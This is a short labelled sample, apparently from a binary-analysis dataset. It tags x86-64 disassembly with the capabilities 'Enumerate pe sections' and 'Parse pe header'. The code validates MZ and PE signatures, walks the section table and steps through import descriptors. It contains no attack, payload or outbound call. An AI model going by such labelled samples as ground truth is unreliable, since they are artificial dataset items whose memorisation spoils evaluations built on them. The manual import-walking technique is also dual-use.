Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x2f2b098b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x2f2b02432
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x2f2b02440
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2f2b02432
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x2f2b02432
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x2f2b02432
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x2f2b02495
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x2f2b024a8
add rdx, 0x28
cmp rdx, r10
jne 0x2f2b02480
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x2f2b024b7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x2f2b024c7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x2f2b0249e
test ecx, ecx
jg 0x2f2b024b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret